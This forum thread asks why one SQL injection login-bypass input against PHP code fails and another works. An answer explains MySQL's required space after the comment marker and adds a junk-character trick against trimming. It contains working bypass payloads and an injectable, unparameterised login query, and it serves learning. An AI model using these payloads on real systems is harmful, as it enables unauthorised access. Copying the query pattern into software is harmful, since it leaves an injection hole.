I am testing a SQLi login bypass on the PHP code below:

if(isset($_POST["login"]) && isset($_POST["password"])) {
    $sql="select * from users where login='{$_POST["login"]}' and password='{$_POST["password"]}'";
    $result=mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) != 0)
        echo "<h1>Login Success!</h1>";
        echo "<h1>Invalid Login!</h1>";

I am using admin' -- as the login field in order to bypass the login without entering a password, but it doesn't work. However, when I tried using admin' -- ' -- instead it works.

How and why does the second cheat work but not the first one?

These are the server-side codes when I enter the two cheats:

$sql="select * from users where login='admin' --' and password='{$_POST["password"]}'"; 
$sql="select * from users where login='admin' -- ' --' and password='{$_POST["password"]}'"; 

In mysql you need a white space after comment marker. Just put one whitespace character after --.

select * from users where login='admin' -- now you can add comment

Generally add trash character after the whitespace against trim function. Like;

admin' -- xx

  • Thank you. I think the second query works its because its the same as the first SQL query is has space after double dash comment operator instead? which is this one I am talking about where login='admin' -- ' , so this SQL query would work then? where login='admin' -- ' --' if you look closely it already has a space after the comment operator. – Cash- May 9 '19 at 7:31
  • It's working because you put space after -- – 1v3m May 9 '19 at 7:35
  • 1
    Yes that's what I thought. Thank you for verifying my understanding! – Cash- May 9 '19 at 7:41

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.